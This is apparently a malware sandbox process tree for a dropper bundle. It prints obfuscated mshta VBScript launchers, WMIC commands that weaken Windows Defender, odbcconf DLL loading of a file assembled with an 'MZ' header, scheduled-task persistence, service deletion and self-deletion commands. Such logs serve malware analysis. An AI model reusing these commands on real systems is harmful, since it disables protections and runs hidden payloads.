        C:\Users\Admin\AppData\Local\Temp\7zSAED5.tmp\Install.exe
        
        .\Install.exe /S /site_id "525403"
        8⤵
        
        PID:6540
      - C:\Users\Admin\Pictures\Adobe Films\tKfzT3R0EhxbXPcrpjiHiL51.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\tKfzT3R0EhxbXPcrpjiHiL51.exe"
        6⤵
        
        PID:6628
        
        C:\Users\Admin\AppData\Local\Temp\is-HCFRA.tmp\tKfzT3R0EhxbXPcrpjiHiL51.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-HCFRA.tmp\tKfzT3R0EhxbXPcrpjiHiL51.tmp" /SL5="$B01D2,506127,422400,C:\Users\Admin\Pictures\Adobe Films\tKfzT3R0EhxbXPcrpjiHiL51.exe"
        7⤵
        
        PID:5568
      - C:\Users\Admin\Pictures\Adobe Films\A4078CRq2NAE6_LcGEmrp1Ab.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\A4078CRq2NAE6_LcGEmrp1Ab.exe"
        6⤵
        
        PID:3284
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon121747f5852fee0.exe
      4⤵
      PID:1244
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon121747f5852fee0.exe
        
        Mon121747f5852fee0.exe
        5⤵
        
        PID:372
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon123bb1679f7999.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1108
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon123bb1679f7999.exe
        
        Mon123bb1679f7999.exe
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of AdjustPrivilegeToken
        
        PID:796
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon1283097e76f.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3512
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon1283097e76f.exe
        
        Mon1283097e76f.exe
        5⤵
        Executes dropped EXE
        
        PID:3200
      - C:\Users\Admin\Pictures\Adobe Films\f0FwOgDdY0k0GxmBpDTDxJvm.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\f0FwOgDdY0k0GxmBpDTDxJvm.exe"
        6⤵
        
        PID:2208
      - C:\Users\Admin\Pictures\Adobe Films\1OiuewgX4_5wMTT5_GYTPWgq.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\1OiuewgX4_5wMTT5_GYTPWgq.exe"
        6⤵
        
        PID:5644
        
        C:\Users\Admin\Documents\inTO0LV1kV8hHg5O2iqM6xay.exe
        
        "C:\Users\Admin\Documents\inTO0LV1kV8hHg5O2iqM6xay.exe"
        7⤵
        
        PID:3216
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:6408
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST
        7⤵
        Creates scheduled task(s)
        
        PID:6120
      - C:\Users\Admin\Pictures\Adobe Films\koMpjFp1JIZdtCCEVzIznfYG.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\koMpjFp1JIZdtCCEVzIznfYG.exe"
        6⤵
        
        PID:5960
      - C:\Users\Admin\Pictures\Adobe Films\L17917OnW3RA3jdVs1r72ZWV.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\L17917OnW3RA3jdVs1r72ZWV.exe"
        6⤵
        
        PID:3856
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        #cmd
        7⤵
        
        PID:2532
      - C:\Users\Admin\Pictures\Adobe Films\5N1raWHjpeFW18gW45_Eq0ry.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\5N1raWHjpeFW18gW45_Eq0ry.exe"
        6⤵
        
        PID:4356
      - C:\Users\Admin\Pictures\Adobe Films\LQEX9x0eEshAYGwPqzGdiMVb.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\LQEX9x0eEshAYGwPqzGdiMVb.exe"
        6⤵
        
        PID:6004
      - C:\Users\Admin\Pictures\Adobe Films\A4078CRq2NAE6_LcGEmrp1Ab.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\A4078CRq2NAE6_LcGEmrp1Ab.exe"
        6⤵
        
        PID:5928
        
        C:\Users\Admin\Pictures\Adobe Films\A4078CRq2NAE6_LcGEmrp1Ab.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\A4078CRq2NAE6_LcGEmrp1Ab.exe"
        7⤵
        
        PID:2236
      - C:\Users\Admin\Pictures\Adobe Films\jxdGEZt7Sp9l4EIBOJnUDXhs.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\jxdGEZt7Sp9l4EIBOJnUDXhs.exe"
        6⤵
        
        PID:4800
        
        C:\Users\Admin\Pictures\Adobe Films\jxdGEZt7Sp9l4EIBOJnUDXhs.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\jxdGEZt7Sp9l4EIBOJnUDXhs.exe" -u
        7⤵
        
        PID:4852
      - C:\Users\Admin\Pictures\Adobe Films\7Ehi_YLMIBs_2f2BvtYaScdd.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\7Ehi_YLMIBs_2f2BvtYaScdd.exe"
        6⤵
        
        PID:5988
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        7⤵
        
        PID:4280
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        8⤵
        
        PID:1524
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        8⤵
        Kills process with taskkill
        
        PID:6724
      - C:\Users\Admin\Pictures\Adobe Films\OFhXWBhuwxdG0EBwkbustx7X.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\OFhXWBhuwxdG0EBwkbustx7X.exe"
        6⤵
        
        PID:1764
      - C:\Users\Admin\Pictures\Adobe Films\tKfzT3R0EhxbXPcrpjiHiL51.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\tKfzT3R0EhxbXPcrpjiHiL51.exe"
        6⤵
        
        PID:668
        
        C:\Users\Admin\AppData\Local\Temp\is-REII1.tmp\tKfzT3R0EhxbXPcrpjiHiL51.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-REII1.tmp\tKfzT3R0EhxbXPcrpjiHiL51.tmp" /SL5="$501AC,506127,422400,C:\Users\Admin\Pictures\Adobe Films\tKfzT3R0EhxbXPcrpjiHiL51.exe"
        7⤵
        
        PID:5740
        
        C:\Users\Admin\AppData\Local\Temp\is-SMDQH.tmp\FolderShare.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-SMDQH.tmp\FolderShare.exe" /S /UID=2709
        8⤵
        
        PID:6212
      - C:\Users\Admin\Pictures\Adobe Films\H1D39bJW4pBSrMe9DnZfD7rt.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\H1D39bJW4pBSrMe9DnZfD7rt.exe"
        6⤵
        
        PID:3812
        
        C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 3812 -s 448
        7⤵
        Program crash
        
        PID:4832
      - C:\Users\Admin\Pictures\Adobe Films\l7YBlwMH8hC9oiwFZ9IZVIks.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\l7YBlwMH8hC9oiwFZ9IZVIks.exe"
        6⤵
        
        PID:5616
        
        C:\Users\Admin\AppData\Local\Temp\is-ALDBV.tmp\l7YBlwMH8hC9oiwFZ9IZVIks.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-ALDBV.tmp\l7YBlwMH8hC9oiwFZ9IZVIks.tmp" /SL5="$40220,20342620,730624,C:\Users\Admin\Pictures\Adobe Films\l7YBlwMH8hC9oiwFZ9IZVIks.exe"
        7⤵
        
        PID:4240
        
        C:\Users\Admin\Pictures\Adobe Films\l7YBlwMH8hC9oiwFZ9IZVIks.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\l7YBlwMH8hC9oiwFZ9IZVIks.exe" /verysilent
        8⤵
        
        PID:5200
        
        C:\Users\Admin\AppData\Local\Temp\is-74IVI.tmp\l7YBlwMH8hC9oiwFZ9IZVIks.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-74IVI.tmp\l7YBlwMH8hC9oiwFZ9IZVIks.tmp" /SL5="$A007A,20342620,730624,C:\Users\Admin\Pictures\Adobe Films\l7YBlwMH8hC9oiwFZ9IZVIks.exe" /verysilent
        9⤵
        
        PID:6728
        
        C:\Program Files (x86)\AmanVPN\Start.exe
        
        "C:\Program Files (x86)\AmanVPN\Start.exe"
        10⤵
        
        PID:68
        
        C:\Windows\SysWOW64\net.exe
        
        net stop LTService
        11⤵
        
        PID:1316
        
        C:\Windows\SysWOW64\net1.exe
        
        C:\Windows\system32\net1 stop LTService
        12⤵
        
        PID:4748
        
        C:\Windows\SysWOW64\sc.exe
        
        sc delete LTService
        11⤵
        
        PID:5216
      - C:\Users\Admin\Pictures\Adobe Films\FNvPVQdgzGYyU9kXPnlWAykS.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\FNvPVQdgzGYyU9kXPnlWAykS.exe"
        6⤵
        
        PID:2200
        
        C:\Users\Admin\AppData\Local\Temp\7zSE9EF.tmp\Install.exe
        
        .\Install.exe
        7⤵
        
        PID:5844
        
        C:\Users\Admin\AppData\Local\Temp\7zSEDA8.tmp\Install.exe
        
        .\Install.exe /S /site_id "525403"
        8⤵
        
        PID:1120
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &
        9⤵
        
        PID:5236
        
        C:\Windows\SysWOW64\forfiles.exe
        
        forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"
        10⤵
        
        PID:5696
      - C:\Users\Admin\Pictures\Adobe Films\pmmXcWaMT9AuTv8ha1uTgZvp.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\pmmXcWaMT9AuTv8ha1uTgZvp.exe"
        6⤵
        
        PID:1116
        
        C:\Users\Admin\AppData\Local\Temp\is-G331Q.tmp\pmmXcWaMT9AuTv8ha1uTgZvp.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-G331Q.tmp\pmmXcWaMT9AuTv8ha1uTgZvp.tmp" /SL5="$B0372,506127,422400,C:\Users\Admin\Pictures\Adobe Films\pmmXcWaMT9AuTv8ha1uTgZvp.exe"
        7⤵
        
        PID:4868
      - C:\Users\Admin\Pictures\Adobe Films\eA0sa9JWhhtnmeJQmSqZQYdp.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\eA0sa9JWhhtnmeJQmSqZQYdp.exe"
        6⤵
        
        PID:3968
      - C:\Users\Admin\Pictures\Adobe Films\HevmCdjw_SSdPmaSBNwyy7i4.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\HevmCdjw_SSdPmaSBNwyy7i4.exe"
        6⤵
        
        PID:3792
      - C:\Users\Admin\Pictures\Adobe Films\eLQcjli7QWiJllpr88yb2_2C.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\eLQcjli7QWiJllpr88yb2_2C.exe"
        6⤵
        
        PID:6412
        
        C:\Users\Admin\AppData\Local\Temp\is-2T29P.tmp\eLQcjli7QWiJllpr88yb2_2C.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-2T29P.tmp\eLQcjli7QWiJllpr88yb2_2C.tmp" /SL5="$302DE,506127,422400,C:\Users\Admin\Pictures\Adobe Films\eLQcjli7QWiJllpr88yb2_2C.exe"
        7⤵
        
        PID:6500
      - C:\Users\Admin\Pictures\Adobe Films\eZ3i2GdpGRpZvqsgTsYPp54e.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\eZ3i2GdpGRpZvqsgTsYPp54e.exe"
        6⤵
        
        PID:6872
      - C:\Users\Admin\Pictures\Adobe Films\J_q9OehQuW7jQS3QGcvXX5yV.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\J_q9OehQuW7jQS3QGcvXX5yV.exe"
        6⤵
        
        PID:7096
      - C:\Users\Admin\Pictures\Adobe Films\MXKjcJ1HaHcCRIT7pIqPONqP.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\MXKjcJ1HaHcCRIT7pIqPONqP.exe"
        6⤵
        
        PID:5192
      - C:\Users\Admin\Pictures\Adobe Films\Sxr3vNInJFyta2OgmcNyM1Ue.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Sxr3vNInJFyta2OgmcNyM1Ue.exe"
        6⤵
        
        PID:6768
        
        C:\Users\Admin\AppData\Local\Temp\is-FFU13.tmp\Sxr3vNInJFyta2OgmcNyM1Ue.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-FFU13.tmp\Sxr3vNInJFyta2OgmcNyM1Ue.tmp" /SL5="$303CC,506127,422400,C:\Users\Admin\Pictures\Adobe Films\Sxr3vNInJFyta2OgmcNyM1Ue.exe"
        7⤵
        
        PID:408
      - C:\Users\Admin\Pictures\Adobe Films\cgNdCHJImjrPTVYFJKm2LrKs.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\cgNdCHJImjrPTVYFJKm2LrKs.exe"
        6⤵
        
        PID:4772
      - C:\Users\Admin\Pictures\Adobe Films\uGia62OR2h5g6RKhsZdaekU3.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\uGia62OR2h5g6RKhsZdaekU3.exe"
        6⤵
        
        PID:7156
        
        C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        #cmd
        7⤵
        
        PID:5476
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon12ddd3f446.exe
      4⤵
      PID:2396
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12ddd3f446.exe
        
        Mon12ddd3f446.exe
        5⤵
        Executes dropped EXE
        Checks SCSI registry key(s)
        Suspicious behavior: EnumeratesProcesses
        
        PID:1144
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon12e9146e7455e5.exe
      4⤵
      PID:724
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12e9146e7455e5.exe
        
        Mon12e9146e7455e5.exe
        5⤵
        Executes dropped EXE
        
        PID:952
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon12f6ea63db.exe
      4⤵
      PID:1492
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12f6ea63db.exe
        
        Mon12f6ea63db.exe
        5⤵
        Executes dropped EXE
        
        PID:756
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Mon12f6ea63db.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12f6ea63db.exe" & del C:\ProgramData\*.dll & exit
        6⤵
        
        PID:3252
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Mon12f6ea63db.exe /f
        7⤵
        Kills process with taskkill
        
        PID:6128
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon129da560c3590969.exe
      4⤵
      PID:1756
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon129da560c3590969.exe
        
        Mon129da560c3590969.exe
        5⤵
        Executes dropped EXE
        
        PID:300
      - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon129da560c3590969.exe
        
        "C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon129da560c3590969.exe" -u
        6⤵
        
        PID:3304
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon1239a36a5f4.exe
      4⤵
      PID:2940
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon1239a36a5f4.exe
        
        Mon1239a36a5f4.exe
        5⤵
        Executes dropped EXE
        
        PID:3216
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCriPT: ClOsE(cReateoBJeCT ( "wsCRipT.shell"). RUN("cMd.ExE /q /R TyPe ""C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon1239a36a5f4.exe"" >..\h02CuYYeZUcMDD.exe && starT ..\H02CUYyeZuCMDD.eXe -PS7ykUulCvwqoVkaBFLeqX_1Bi & if """"== """" for %i iN (""C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon1239a36a5f4.exe"" ) do taskkill /f -im ""%~Nxi"" ", 0 ,trUe ) )
        6⤵
        
        PID:2640
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /R TyPe "C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon1239a36a5f4.exe" >..\h02CuYYeZUcMDD.exe && starT ..\H02CUYyeZuCMDD.eXe -PS7ykUulCvwqoVkaBFLeqX_1Bi & if ""== "" for %i iN ("C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon1239a36a5f4.exe") do taskkill /f -im "%~Nxi"
        7⤵
        
        PID:4504
        
        C:\Users\Admin\AppData\Local\Temp\h02CuYYeZUcMDD.exe
        
        ..\H02CUYyeZuCMDD.eXe -PS7ykUulCvwqoVkaBFLeqX_1Bi
        8⤵
        
        PID:4484
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCriPT: ClOsE(cReateoBJeCT ( "wsCRipT.shell"). RUN("cMd.ExE /q /R TyPe ""C:\Users\Admin\AppData\Local\Temp\h02CuYYeZUcMDD.exe"" >..\h02CuYYeZUcMDD.exe && starT ..\H02CUYyeZuCMDD.eXe -PS7ykUulCvwqoVkaBFLeqX_1Bi & if ""-PS7ykUulCvwqoVkaBFLeqX_1Bi ""== """" for %i iN (""C:\Users\Admin\AppData\Local\Temp\h02CuYYeZUcMDD.exe"" ) do taskkill /f -im ""%~Nxi"" ", 0 ,trUe ) )
        9⤵
        
        PID:4896
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /q /R TyPe "C:\Users\Admin\AppData\Local\Temp\h02CuYYeZUcMDD.exe" >..\h02CuYYeZUcMDD.exe && starT ..\H02CUYyeZuCMDD.eXe -PS7ykUulCvwqoVkaBFLeqX_1Bi & if "-PS7ykUulCvwqoVkaBFLeqX_1Bi "== "" for %i iN ("C:\Users\Admin\AppData\Local\Temp\h02CuYYeZUcMDD.exe") do taskkill /f -im "%~Nxi"
        10⤵
        
        PID:4936
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbSCrIPT: ClOSE (CReaTeobjECt ( "wsCRIPt.ShelL" ). run ( "cmd.EXe /R EChO 0%timE%tQM> rHUir.hh & EcHO | SeT /p = ""MZ"" > PCN3bFXS.F& copy /b /y Pcn3bFXS.F + 16AqXIX.Y + lSIVmd4C.I + VbVS~Fi.ZD+rhUIr.hh ..\JEnnF1QU.UEN & sTART odbcconf.exe /A { regsVR ..\JeNnF1QU.UEN } & deL /Q * ",0 ,TRUe ))
        9⤵
        Executes dropped EXE
        
        PID:3304
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /R EChO 0%timE%tQM> rHUir.hh & EcHO | SeT /p = "MZ" > PCN3bFXS.F& copy /b /y Pcn3bFXS.F+ 16AqXIX.Y+ lSIVmd4C.I+ VbVS~Fi.ZD+rhUIr.hh ..\JEnnF1QU.UEN & sTART odbcconf.exe /A { regsVR ..\JeNnF1QU.UEN } & deL /Q *
        10⤵
        
        PID:5700
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>PCN3bFXS.F"
        11⤵
        
        PID:1108
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" EcHO "
        11⤵
        
        PID:5448
        
        C:\Windows\SysWOW64\odbcconf.exe
        
        odbcconf.exe /A { regsVR ..\JeNnF1QU.UEN }
        11⤵
        
        PID:4772
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f -im "Mon1239a36a5f4.exe"
        8⤵
        Kills process with taskkill
        
        PID:4980
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon127371d1710cb.exe
      4⤵
      PID:3532
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon127371d1710cb.exe
        
        Mon127371d1710cb.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2876
      - C:\Users\Admin\AppData\Local\a6b867ba-95da-4350-a29a-d6680c4e4013.exe
        
        "C:\Users\Admin\AppData\Local\a6b867ba-95da-4350-a29a-d6680c4e4013.exe"
        6⤵
        
        PID:4176
      - C:\Users\Admin\AppData\Local\9b5e37c1-ad5b-4b94-8f4f-6a8f54bab86c.exe
        
        "C:\Users\Admin\AppData\Local\9b5e37c1-ad5b-4b94-8f4f-6a8f54bab86c.exe"
        6⤵
        
        PID:4268
      - C:\Users\Admin\AppData\Local\695bc064-4979-4c1e-ae31-f885188927ab.exe
        
        "C:\Users\Admin\AppData\Local\695bc064-4979-4c1e-ae31-f885188927ab.exe"
        6⤵
        
        PID:4392
      - C:\Users\Admin\AppData\Local\55643ee5-cd66-4e1f-befb-cf5a16288f00.exe
        
        "C:\Users\Admin\AppData\Local\55643ee5-cd66-4e1f-befb-cf5a16288f00.exe"
        6⤵
        
        PID:4612
      - C:\Users\Admin\AppData\Local\f7fc04f8-f33a-41c9-b00f-2148bd5662a8.exe
        
        "C:\Users\Admin\AppData\Local\f7fc04f8-f33a-41c9-b00f-2148bd5662a8.exe"
        6⤵
        
        PID:4812
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon123b32ee21b8b.exe
      4⤵
      PID:972
    - - C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon123b32ee21b8b.exe
        
        Mon123b32ee21b8b.exe
        5⤵
        Executes dropped EXE
        Suspicious use of AdjustPrivilegeToken
        
        PID:2212
      - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
        
        "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
        6⤵
        
        PID:4116
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon12cbfb3c438.exe
      4⤵
      PID:3668
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon12eb2e22e21bca9b.exe
      4⤵
      PID:3048
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon125c8672ab6f3.exe
      4⤵
      PID:3400
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon121c379179.exe
      4⤵
      PID:1860
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon12479b64dfa4e67.exe /mixtwo
      4⤵
      PID:2436
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon12b641d2c5e11eb25.exe
      4⤵
      PID:920

C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12b641d2c5e11eb25.exe
Mon12b641d2c5e11eb25.exe
1⤵
- Executes dropped EXE
PID:1640
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12b641d2c5e11eb25.exe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If """" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12b641d2c5e11eb25.exe"" ) do taskkill -f /Im ""%~NXg"" " , 0, true) )
  2⤵
  PID:1524
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12b641d2c5e11eb25.exe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12b641d2c5e11eb25.exe" ) do taskkill -f /Im "%~NXg"
    3⤵
    PID:4492
  - - C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe
      Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E
      4⤵
      PID:2076
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbSCRipt: cLOSe ( creATEOBJeCt( "wSCriPt.ShELL"). rUN ( "Cmd /C cOPY /Y ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If ""-PJJdHOofvf~E"" == """" for %g IN ( ""C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe"" ) do taskkill -f /Im ""%~NXg"" " , 0, true) )
        5⤵
        
        PID:4728
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /C cOPY /Y "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" Q7J2UrO1XZC8DQK.EXe && StarT Q7J2Uro1XZC8DqK.EXE -PJJdHOofvf~E& If "-PJJdHOofvf~E" == "" for %g IN ( "C:\Users\Admin\AppData\Local\Temp\Q7J2UrO1XZC8DQK.EXe" ) do taskkill -f /Im "%~NXg"
        6⤵
        
        PID:4720
    - - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vBScRIpt: close (crEateoBJeCT("wscRIpT.sHELl"). RUn ( "C:\Windows\system32\cmd.exe /q /C ECho | SeT /p = ""MZ"" > 2MXG5k.pR & copy /b /y 2MXG5K.pR + A0kCLvIX.Kc + SpiKDP6.H + ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku } " ,0 , TrUE ) )
        5⤵
        
        PID:4924
      - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /q /C ECho | SeT /p = "MZ" > 2MXG5k.pR &copy /b /y 2MXG5K.pR +A0kCLvIX.Kc +SpiKDP6.H+ ApX~.n4 + G7TV3C~.QZE + P~ST7eWJ.E 9V~4.KU & starT odbcconf.exe /a { reGSVr .\9v~4.Ku}
        6⤵
        
        PID:4992
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" ECho "
        7⤵
        
        PID:1816
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SeT /p = "MZ" 1>2MXG5k.pR"
        7⤵
        
        PID:2676
        
        C:\Windows\SysWOW64\odbcconf.exe
        
        odbcconf.exe /a { reGSVr .\9v~4.Ku}
        7⤵
        
        PID:5320
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill -f /Im "Mon12b641d2c5e11eb25.exe"
      4⤵
      Kills process with taskkill
      PID:5112

C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon121c379179.exe
Mon121c379179.exe
1⤵
- Executes dropped EXE
PID:2172

C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon12eb2e22e21bca9b.exe
Mon12eb2e22e21bca9b.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:3912
- C:\Windows\SysWOW64\cmd.exe
  cmd.exe /c taskkill /f /im chrome.exe
  2⤵
  PID:1012
- - C:\Windows\SysWOW64\taskkill.exe
    taskkill /f /im chrome.exe
    3⤵
    - Kills process with taskkill
    PID:4320

C:\Users\Admin\AppData\Local\Temp\7zS0CE64B85\Mon125c8672ab6f3.exe
Mon125c8672ab6f3.exe
1⤵
- Executes dropped EXE
PID:1232
